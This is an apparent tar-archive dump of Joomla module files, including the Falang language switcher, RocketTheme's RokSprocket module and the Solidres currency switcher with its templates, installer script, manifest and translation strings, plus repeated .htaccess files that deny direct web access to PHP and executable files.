					description="COM_MODULES_FIELD_CACHE_TIME_DESC" />

                <field
					name="cachemode"
					type="hidden"
					default="itemid">
					<option
						value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_falang/mod_falang.php000060400000001543150747276150011450 0ustar00<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

// Include the syndicate functions only once
require_once(dirname(__FILE__)) . '/helper.php';

if (!modFaLangHelper::isFalangDriverActive()){
	echo JText::_("MOD_FALANG_PLUGIN_DRIVER_NOT_ENABLED");
	return;
}

$headerText	= JString::trim($params->get('header_text'));
$footerText	= JString::trim($params->get('footer_text'));



$list   = modFaLangHelper::getList($params);

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));

require JModuleHelper::getLayoutPath('mod_falang', $params->get('layout', 'default'));
mod_falang/.htaccess000044400000000177150747276150010452 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_falang/tmpl/default_list.php000060400000004074150747276150013016 0ustar00<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

?>



<ul class="<?php echo $params->get('inline', 1) ? 'lang-inline' : 'lang-block';?>">
    <?php foreach($list as $language):?>

        
        <!-- >>> [FREE] >>> -->
        <?php if ($params->get('show_active', 0) || !$language->active):?>
            <li class="<?php echo $language->active ? 'lang-active' : '';?>" dir="<?php echo JLanguage::getInstance($language->lang_code)->isRTL() ? 'rtl' : 'ltr' ?>">
                <?php if ($language->display) { ?>
                    <a href="<?php echo $language->link;?>">
                        <?php if ($params->get('image', 1)):?>
                            <?php echo JHtml::_('image', 'mod_falang/'.$language->image.'.gif', $language->title_native, array('title'=>$language->title_native), true);?>
                        <?php endif; ?>
                        <?php if ($params->get('show_name', 1)):?>
                            <?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef);?>
                        <?php endif; ?>
                    </a>
                <?php } else { ?>
                    <?php if ($params->get('image', 1)):?>
                        <?php echo JHtml::_('image', 'mod_falang/'.$language->image.'.gif', $language->title_native, array('title'=>$language->title_native,'style'=>'opacity:0.5'), true);?>
                    <?php endif; ?>
                    <?php if ($params->get('show_name', 1)):?>
                        <?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef);?>
                    <?php endif; ?>
                <?php } ?>
            </li>
        <?php endif;?>
        <!-- <<< [FREE] <<< -->
    <?php endforeach;?>
</ul>
mod_falang/tmpl/index.html000060400000000055150747276150011616 0ustar00<html><body bgcolor="#FFFFFF"></body></html>
mod_falang/tmpl/.htaccess000044400000000177150747276160011427 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_falang/tmpl/default.php000060400000010471150747276160011762 0ustar00<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

JHtml::_('stylesheet', 'mod_falang/template.css', array(), true);

//add alternate tag
$doc = JFactory::getDocument();
$default_lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');
$current_lang = JFactory::getLanguage()->getTag();
$languagesCode = JLanguageHelper::getLanguages('lang_code');

$sef = JFactory::getApplication()->getCfg('sef');

/* Support of alternate tag bassed on language filter parameters  */
$remove_default_prefix = 0;
//set default in case of language filter is not use (ex : joomsef)
$alternate_meta    = 1;
$xdefault          = 1;
$xdefault_language = $default_lang;

$filter_plugin = JPluginHelper::getPlugin('system', 'languagefilter');
if (!empty($filter_plugin)) {
    $filter_plugin_params  = new JRegistry($filter_plugin->params);
    $remove_default_prefix = $filter_plugin_params->get('remove_default_prefix','0');
    $alternate_meta        = $filter_plugin_params->get('alternate_meta', 1);
    $xdefault              = $filter_plugin_params->get('xdefault', 1);
    $xdefault_language     = $filter_plugin_params->get('xdefault_language', $default_lang);
}



// hack to fix the fact that $language->link already contains the rootpath of the joomla site
// ex falang3/en for http//localhost/falang3

$uri_base = substr(JURI::base(false), 0,strlen(JURI::base(false))-strlen(JURI::base(true)));
foreach($list as $language) {
    if ($alternate_meta && $language->display == '1')
    {
        if ($sef == '1')
        {
            $link = $uri_base . substr($language->link, 1);
            if (($language->lang_code == $default_lang) && $remove_default_prefix == '1')
            {
                $link = preg_replace('|/' . $language->sef . '/|', '/', $link, 1);
                //remove last slash for default language
                $link = rtrim($link, "/");
                $doc->addCustomTag('<link rel="alternate" href="' . $link . '" hreflang="' . $language->sef . '" />');
            }
            else
            {
                $doc->addCustomTag('<link rel="alternate" href="' . $link . '" hreflang="' . $language->sef . '" />');
            }


        }
        else
        {
            $doc->addCustomTag('<link rel="alternate" href="' . $language->link . '" hreflang="' . $language->sef . '" />');
        }

        if ($xdefault)
        {
            $loc_xdefault_language = ($xdefault_language == 'default') ? $default_lang : $xdefault_language;

            if (($loc_xdefault_language == $language->lang_code) && isset($languagesCode[$loc_xdefault_language]))
            {
                // Use a custom tag because addHeadLink is limited to one URI per tag
                if ($sef == '1')
                {
                    $doc->addCustomTag('<link rel="alternate" href="' . $link . '"  hreflang="x-default" />');
                }
                else
                {
                    $doc->addCustomTag('<link rel="alternate" href="' . $language->link . '"  hreflang="x-default" />');
                }
            }

        }
    }

}

?>

<?php
// Support of language domain from yireo
$yireo_plugin = JPluginHelper::getPlugin('system', 'languagedomains');
if (!empty($yireo_plugin)) {
    foreach($list as $language):
        if (empty($language->link) || in_array($language->link, array('/', 'index.php'))) $language->link = '/?lang='.$language->sef;
    endforeach;
}
?>


<div class="mod-languages<?php echo $moduleclass_sfx ?> <?php echo ($params->get('dropdown', 1) && $params->get('advanced_dropdown', 1)) ? ' advanced-dropdown' : '';?>">
<?php if ($headerText) : ?>
	<div class="pretext"><p><?php echo $headerText; ?></p></div>
<?php endif; ?>

<?php if ($params->get('dropdown',1)) : ?>
    <?php require JModuleHelper::getLayoutPath('mod_falang', $params->get('layout', 'default') . '_dropdown'); ?>
<?php else : ?>
    <?php require JModuleHelper::getLayoutPath('mod_falang', $params->get('layout', 'default') . '_list'); ?>
<?php endif; ?>

<?php if ($footerText) : ?>
	<div class="posttext"><p><?php echo $footerText; ?></p></div>
<?php endif; ?>
</div>
mod_falang/tmpl/default_dropdown.php000060400000011363150747276160013677 0ustar00<?php
/**
 * @package     Falang for Joomla!
 * @author      Stéphane Bouey <stephane.bouey@faboba.com> - http://www.faboba.com
 * @license     GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright   Copyright (C) 2010-2017. Faboba.com All rights reserved.
 */

// No direct access to this file
defined('_JEXEC') or die;

?>
<form name="lang" method="post" action="<?php echo htmlspecialchars(JUri::current()); ?>">
    <?php if (!$params->get('advanced_dropdown',0)) : ?>
    	<select class="inputbox" onchange="document.location.replace(this.value);" >
            <?php foreach($list as $language):?>
                <?php if ($language->display) { ?>
                    <option value="<?php echo $language->link;?>" <?php echo !empty($language->active) ? 'selected="selected"' : ''?>><?php echo $language->title_native;?></option>
                <?php } else { ?>
                    <option disabled="disabled" style="opacity: 0.5" value="<?php echo $language->link;?>" <?php echo !empty($language->active) ? 'selected="selected"' : ''?>><?php echo $language->title_native;?></option>
                <?php } ?>
            <?php endforeach; ?>
        </select>
    <?php else : ?>

        <script type="application/javascript">
            jQuery(function() {
                var speed = 150;
                jQuery('div.advanced-dropdown').hover(
                    function()
                    {
                        jQuery(this).find('ul').filter(':not(:animated)').slideDown({duration: speed});
                    },
                    function()
                    {
                        jQuery(this).find('ul').filter(':not(:animated)').slideUp({duration: speed});
                    }
                );
            });
        </script>

        

        <!-- >>> [FREE] >>> -->
        <?php foreach($list as $language):?>
            <?php if ($language->active) :?>
                <a href="javascript:;" class="langChoose">
                    <?php if ($params->get('image', 1)):?>
                        <?php echo JHtml::_('image', 'mod_falang/'.$language->image.'.gif', $language->title_native, array('title'=>$language->title_native), $relativePath);?>
                    <?php else : ?>
                        <?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef);?>
                    <?php endif; ?>
                    <span class="caret"></span>
                </a>
            <?php endif; ?>
        <?php endforeach;?>
        <ul class="<?php echo $params->get('inline', 1) ? 'lang-inline' : 'lang-block';?>" style="display: none">
            <?php foreach($list as $language):?>
                <?php if ($params->get('show_active', 0) || !$language->active):?>
                    <li class="<?php echo $language->active ? 'lang-active' : '';?>" dir="<?php echo JLanguage::getInstance($language->lang_code)->isRTL() ? 'rtl' : 'ltr' ?>">
                        <?php if ($language->display) { ?>
                            <a href="<?php echo $language->link;?>">
                                <?php if ($params->get('image', 1)):?>
                                    <?php echo JHtml::_('image', 'mod_falang/'.$language->image.'.gif', $language->title_native, array('title'=>$language->title_native), $relativePath);?>
                                <?php endif; ?>
                                <?php if ($params->get('show_name', 1)):?>
                                    <?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef);?>
                                <?php endif; ?>
                                <?php if($language->active){?> <i class="fa fa-check lang_checked"></i> <?php } ?>
                            </a>
                        <?php } else { ?>
                            <?php if ($params->get('image', 1)):?>
                                <?php echo JHtml::_('image', 'mod_falang/'.$language->image.'.gif', $language->title_native, array('title'=>$language->title_native,'style'=>'opacity:0.5'), $relativePath);?>
                            <?php else : ?>
                                <?php if ($params->get('show_name', 1)):?>
                                    <?php echo $params->get('full_name', 1) ? $language->title_native : strtoupper($language->sef);?>
                                <?php endif; ?>
                                <?php if($language->active){?> <i class="fa fa-check lang_checked"></i> <?php } ?>
                            <?php endif; ?>
                        <?php } ?>
                    </li>
                <?php endif;?>
            <?php endforeach;?>
        </ul>
        <!-- <<< [FREE] <<< -->
    <?php endif; ?>
</form>

mod_feed/.htaccess000044400000000177150747276160010126 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_feed/tmpl/.htaccess000044400000000177150747276160011102 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_users_latest/.htaccess000044400000000177150747276160011740 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_users_latest/tmpl/.htaccess000044400000000177150747276160012714 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_roksprocket/lib/index.html000060400000000036150747276160012526 0ustar00<!DOCTYPE html><title></title>mod_roksprocket/lib/ModRokSprocket.php000060400000004656150747276160014164 0ustar00<?php
/**
 * @version   $Id: ModRokSprocket.php 30374 2016-08-05 09:46:18Z matias $
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2018 RocketTheme, LLC
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 */

class ModRokSprocket extends RokSprocket
{
	public function __construct(RokCommon_Registry $params)
	{
		parent::__construct($params);
		$this->context_base = self::BASE_PACKAGE_NAME;
		RokCommon_Composite::addPackagePath($this->context_base,JPATH_SITE.'/components/com_roksprocket',10);
		RokCommon_Composite::addPackagePath($this->context_base,JPATH_SITE.'/modules/mod_roksprocket',15);
		RokCommon_Composite::addPackagePath($this->context_base,$this->container['roksprocket.template.override.path'],20);
	}

	public function render(RokSprocket_ItemCollection $items)
	{
		$rendered = parent::render($items);
		if (!isset($this->params) || $this->params->get('run_content_plugins', 'onmodule') == 'onmodule' || $this->params->get('run_content_plugins', 'onmodule') == 1) {
			$rendered = JHtml::_('content.prepare', $rendered);
		}
		return $rendered;
	}

	/**
	 * @return RokSprocket_ItemCollection
	 */
	public function getData()
	{
		$container = RokCommon_Service::getContainer();
		/** @var $platformHelper RokSprocket_PlatformHelper */
		$platformHelper = $container->roksprocket_platformhelper;
		$items = $platformHelper->getFromCache(array($this, '_realGetData'), array(), $this->params, $this->params->get('module_id',0));

		// get the data to present to the layout
		$provider_type = $this->params->get('provider', 'joomla');
		$sort_type         = $this->params->get($provider_type . '_sort', 'automatic');
		if ($sort_type == RokSprocket_ItemCollection::SORT_METHOD_RANDOM)
		{
			$items->sort($sort_type);
		}
		$items = $platformHelper->processItemsForEvents($items, $this->params);
		return $items;
	}

	public function _realGetData()
	{
		return parent::getData();
	}

	public function renderGlobalHeaders($ajax_url = null)
	{
		if (is_null($ajax_url)) {
			$app    = JFactory::getApplication();
			$menus  = $app->getMenu();
			$active = $menus->getActive();
			if ($active === null) {
				$lang   = JFactory::getLanguage();
				$tag    = JLanguageMultilang::isEnabled() ? $lang->getTag() : '*';
				$active = $menus->getDefault($tag);
			}
			$ajax_url   = 'index.php?option=com_roksprocket&task=ajax&format=raw&ItemId=' . $active->id;
		}
		parent::renderGlobalHeaders($ajax_url);
	}
}
mod_roksprocket/lib/.htaccess000044400000000177150747276160012337 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_roksprocket/language/index.html000060400000000036150747276160013543 0ustar00<!DOCTYPE html><title></title>mod_roksprocket/language/.htaccess000044400000000177150747276160013354 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_roksprocket/language/en-GB/en-GB.mod_roksprocket.ini000060400000000227150747276160017235 0ustar00MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_DESC="Run the Joomla Content Plugins on text fields"
MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_LABE="Run Content Plugins"mod_roksprocket/language/en-GB/index.html000060400000000036150747276160014433 0ustar00<!DOCTYPE html><title></title>mod_roksprocket/.htaccess000044400000000177150747276160011571 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_roksprocket/index.html000060400000000036150747276160011760 0ustar00<!DOCTYPE html><title></title>mod_roksprocket/mod_roksprocket.php000060400000003460150747276160013705 0ustar00<?php
/**
 * @version   $Id: mod_roksprocket.php 19251 2014-02-27 21:49:01Z btowles $
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2018 RocketTheme, LLC
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 */

// no direct access
defined('_JEXEC') or die;
try {
	if (defined('ROKSPROCKET')) {

		$lang = JFactory::getLanguage();
		$lang->load('com_roksprocket', JPATH_BASE, $lang->getDefault(), false, false);
		$lang->load('com_roksprocket', JPATH_BASE, null, false, false);
		$lang->load('com_roksprocket', JPATH_SITE.'/components/com_roksprocket', $lang->getDefault(), false, false);
		$lang->load('com_roksprocket', JPATH_SITE.'/components/com_roksprocket', null, false, false);

		RokCommon_ClassLoader::addPath(dirname(__FILE__) . '/lib');

        $container = RokCommon_Service::getContainer();

        foreach ($container['roksprocket.layouts'] as $type => $layoutinfo) {
            foreach ($layoutinfo->paths as $layoutpath) {
                if (is_dir($layoutpath . '/language')) {
	                $lang->load('roksprocket_layout_'.$type, $layoutpath, $lang->getDefault(), true, false);
                    $lang->load('roksprocket_layout_'.$type, $layoutpath, null, true, false);
                }
            }
        }

		/** @var $logger logger */
		$logger            = $container->logger;
		$module_parameters = RokCommon_Registry_Converter::convert($params);
		$module_parameters->set('module_id', $module->id);
		$roksprocket = new ModRokSprocket($module_parameters);
		$items       = $roksprocket->getData();
		echo $content_items = $roksprocket->render($items);
		/** @var $header RokCommon_Header_Joomla */
		$header = $container->getService('header');
		$header->populate();
	}
} catch (Exception $e) {
	JError::raiseWarning(100, $e->getMessage());
}mod_roksprocket/mod_roksprocket.xml000060400000003212150747276160013711 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5" client="site" method="upgrade">
    <name>RokSprocket Module</name>
    <creationDate>October 29, 2018</creationDate>
    <author>RocketTheme, LLC</author>
    <authorEmail>support@rockettheme.com</authorEmail>
    <authorUrl>http://www.rockettheme.com</authorUrl>
    <copyright>(C) 2005 - 2018 RocketTheme, LLC. All rights reserved.</copyright>
    <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
    <version>2.1.25</version>
    <description>RokSprocket makes it easy to display content in a dynamic, visual layout.</description>
    <scriptfile>install.php</scriptfile>
    <files>
        <filename module="mod_roksprocket">mod_roksprocket.php</filename>
        <filename>MD5SUMS</filename>
        <folder>language</folder>
        <folder>lib</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="advanced">
                <field default="onmodule" description="DESC.MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_DESC" label="MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_LABEL" name="run_content_plugins" type="list">
                    <option value="onmodule">MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_ON_MODULE</option>
                    <option value="oneach">MOD_ROKSPROCKET_RUN_CONTENT_PLUGINS_ON_EACH</option>
                    <option value="disabled">JNO</option>
                </field>
            </fieldset>
        </fields>
    </config>
    <updateservers>
        <server type="collection" priority="1" name="RocketTheme Update Directory">http://updates.rockettheme.com/joomla/updates.xml</server>
    </updateservers>
</extension>
mod_roksprocket/MD5SUMS000060400000000502150747276160011001 0ustar00mod_roksprocket.php	64ffcee68c2414daa37c79dcbf89c85b
mod_roksprocket.xml	5c18b1cd252c9c345b423a55a180254f
language/en-GB/en-GB.mod_roksprocket.ini	70ee0f11fa0ce5aef89d506097df3318
lib/ModRokSprocket.php	13a506ac5c8696dd054f4435a32300a3
MD5SUMS	d41d8cd98f00b204e9800998ecf8427e
install.php	b07ec993ecb15be469127dc92fa7f1b0
mod_roksprocket/install.php000060400000004233150747276160012145 0ustar00<?php
/**
 * @package   Gantry
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */
defined('_JEXEC') or die;

/**
 * Gantry package installer script.
 */
class Mod_RokSprocketInstallerScript
{
    public function postflight($type, $parent)
    {
        if ($type == 'install') {
            $this->removeModuleInstances('mod_roksprocket');
        }

        return true;
    }

    protected function removeModuleInstances($module_name)
    {
        $db = JFactory::getDbo();

        // Lets delete all the module copies for the type we are uninstalling
        $query = 'SELECT `id`' .
            ' FROM `#__modules`' .
            ' WHERE module = ' . $db->quote($module_name);
        $db->setQuery($query);

        try
        {
            $modules = $db->loadColumn();
        }
        catch (Exception $e)
        {
            $modules = array();
        }

        // Do we have any module copies?
        if (count($modules))
        {
            // Ensure the list is sane
            JArrayHelper::toInteger($modules);
            $modID = implode(',', $modules);

            // Wipe out any items assigned to menus
            $query = 'DELETE' .
                ' FROM #__modules_menu' .
                ' WHERE moduleid IN (' . $modID . ')';
            $db->setQuery($query);

            try
            {
                $db->execute();
            }
            catch (Exception $e)
            {
                JError::raiseWarning(100, JText::sprintf('JLIB_INSTALLER_ERROR_MOD_UNINSTALL_EXCEPTION', $db->stderr(true)));
            }

            // Wipe out any instances in the modules table
            $query = 'DELETE' .
                ' FROM #__modules' .
                ' WHERE id IN (' . $modID . ')';
            $db->setQuery($query);

            try
            {
                $db->execute();
            }
            catch (Exception $e)
            {
                JError::raiseWarning(100, JText::sprintf('JLIB_INSTALLER_ERROR_MOD_UNINSTALL_EXCEPTION', $db->stderr(true)));
            }
        }
    }
}
mod_sr_currency/helper.php000060400000001211150747276160011737 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

/**
 * @package		Solidres
 * @subpackage	mod_sr_currency
 * @since		0.1.0
 */
class modSRCurrencyHelper
{

}mod_sr_currency/tmpl/default.php000060400000002427150747276160013072 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

/*
 * This layout file can be overridden by copying to:
 *
 * /templates/TEMPLATENAME/html/mod_sr_currency/default.php
 *
 * However, occasionally we will need to update template/layout related files and it is the template developers'
 * responsibility to update the overridden files (if any) to maintain full compatibility with Solidres.
 *
 * We do not provide support if any of the overridden files are out of date and are not compatible with Solidres.
 *
 * @version 2.8.0
 */

defined('_JEXEC') or die;

?>
<ul class="solidres-module-currency">
	<?php
	if ($currencyList) :
		foreach ($currencyList as $c) :
			echo '<li><a href="javascript:Solidres.setCurrency(' . $c->id . ')" >' . ($showCodeSymbol == 0 ? $c->currency_code : $c->sign) . '</a></li>';
		endforeach;
	endif;
	?>
</ul>mod_sr_currency/tmpl/dropdown.php000060400000003200150747276160013270 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

/*
 * This layout file can be overridden by copying to:
 *
 * /templates/TEMPLATENAME/html/mod_sr_currency/dropdown.php
 *
 * However, occasionally we will need to update template/layout related files and it is the template developers'
 * responsibility to update the overridden files (if any) to maintain full compatibility with Solidres.
 *
 * We do not provide support if any of the overridden files are out of date and are not compatible with Solidres.
 *
 * @version 2.8.0
 */

defined('_JEXEC') or die;

$elementId        = 'solidres-module-currency-' . $module->id;

?>
<select class="solidres-module-currency" id="<?php echo $elementId ?>"
        onchange="javascript:Solidres.setCurrency(document.getElementById('<?php echo $elementId ?>').value)">
	<?php
	if ($currencyList) :
		foreach ($currencyList as $c) :
            $selected = '';
            if (!empty($activeCurrencyId) && $activeCurrencyId == $c->id) :
	            $selected = 'selected';
            endif;
			echo '<option value="' . $c->id . '" ' . $selected . ' >' . ($showCodeSymbol == 0 ? $c->currency_code : $c->sign) . '</option>';
		endforeach;
	endif;
	?>
</select>
mod_sr_currency/tmpl/.htaccess000044400000000177150747276160012535 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_sr_currency/language/ru-RU/ru-RU.mod_sr_currency.sys.ini000060400000000316150747276160020175 0ustar00MOD_SR_CURRENCY="Solidres - Модуль валют"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Модуль позволяет переключаться между доступными валютами"mod_sr_currency/language/ru-RU/ru-RU.mod_sr_currency.ini000060400000000734150747276160017364 0ustar00MOD_SR_CURRENCY="Solidres - Модуль валют"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Модуль позволяет переключаться между доступными валютами"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Показать код или символ"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Показывать на экране код валюты или символ"
SR_CURRENCY_SHOW_CODE="Код"
SR_CURRENCY_SHOW_SYMBOL="Символ"mod_sr_currency/language/cs-CZ/cs-CZ.mod_sr_currency.ini000060400000000533150747276160017273 0ustar00MOD_SR_CURRENCY="Solidres - Modul měn"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - modul přepínače měn dostupných v Solidres"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"mod_sr_currency/language/cs-CZ/cs-CZ.mod_sr_currency.sys.ini000060400000000211150747276160020101 0ustar00MOD_SR_CURRENCY="Solidres - modul měn"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Modul umožňuje přepínat mezi dostupnými měnami"mod_sr_currency/language/it-IT/it-IT.mod_sr_currency.ini000060400000000560150747276160017311 0ustar00MOD_SR_CURRENCY="Modulo Valuta - Solidres"
MOD_SR_CURRENCY_XML_DESCRIPTION="Il modulo valuta consente il passaggio tra le valute disponibilo - Solidres"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"mod_sr_currency/language/it-IT/it-IT.mod_sr_currency.sys.ini000060400000000227150747276160020126 0ustar00MOD_SR_CURRENCY="Solidres - Modulo valuta"
MOD_SR_CURRENCY_XML_DECRIPTION="Solidres - il modulo valuta consente il passaggio tra le valute disponibili"mod_sr_currency/language/pt-BR/pt-BR.mod_sr_currency.sys.ini000060400000000226150747276160020121 0ustar00MOD_SR_CURRENCY="Solidres - Module currency"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Module currency allow switching between available currencies"mod_sr_currency/language/pt-BR/pt-BR.mod_sr_currency.ini000060400000000556150747276160017312 0ustar00MOD_SR_CURRENCY="Solidres - Module currency"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Module currency allow switching between available currencies"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"mod_sr_currency/language/.htaccess000044400000000177150747276160013344 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_sr_currency/language/pl-PL/pl-PL.mod_sr_currency.ini000060400000000636150747276160017311 0ustar00; Wersja polska: Krzysztof Wandas

MOD_SR_CURRENCY="Solidres - Moduł przełączania waluty"
MOD_SR_CURRENCY_XML_DESCRIPTION="Moduł do przełączania waluty z listy dostępnych dla Solidres"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"mod_sr_currency/language/pl-PL/pl-PL.mod_sr_currency.sys.ini000060400000000302150747276160020114 0ustar00; Wersja polska: Krzysztof Wandas

MOD_SR_CURRENCY="Solidres - Moduł przełączania waluty"
MOD_SR_CURRENCY_XML_DESCRIPTION="Moduł do przełączania waluty z listy dostępnych dla Solidres"mod_sr_currency/language/el-GR/el-GR.mod_sr_currency.ini000060400000000663150747276160017255 0ustar00; GR translation Completed on February 09, 2014, By Yan Tsarbopoulo

MOD_SR_CURRENCY="Solidres - Module currency"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Module currency allow switching between available currencies"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Show code or symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Choose whether to show currency code or symbol in front end."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"mod_sr_currency/language/el-GR/el-GR.mod_sr_currency.sys.ini000060400000000520150747276160020062 0ustar00; GR translation Completed on February 09, 2014, By Yan Tsarbopoulo

MOD_SR_CURRENCY="Solidres - Εργαλείο Συναλλάγματος"
MOD_SR_CURRENCY_XML_DECRIPTION="Solidres - Εργαλείο Συναλλάγματος: Επιτρέπη την εναλλαγή μεταξύ των διαθέσιμων νομισμάτων"mod_sr_currency/language/de-DE/de-DE.mod_sr_currency.ini000060400000000650150747276160017171 0ustar00MOD_SR_CURRENCY="Solidres - Modul Währung"
MOD_SR_CURRENCY_XML_DESCRIPTION="Solidres - Modul Währung erlaubt es den Nutzern im Front End zwischen verfügbaren Währungen zu wechseln"
SR_CURRENCY_SHOW_CODE_SYMBOL_LABEL="Zeige Code oder Symbol"
SR_CURRENCY_SHOW_CODE_SYMBOL_DESC="Wähle ob der Währungscode oder das Symbol im Front End angezeigt werden sollen."
SR_CURRENCY_SHOW_CODE="Code"
SR_CURRENCY_SHOW_SYMBOL="Symbol"mod_sr_currency/language/de-DE/de-DE.mod_sr_currency.sys.ini000060400000000235150747276160020005 0ustar00MOD_SR_CURRENCY="Solidres - Modul Währung"
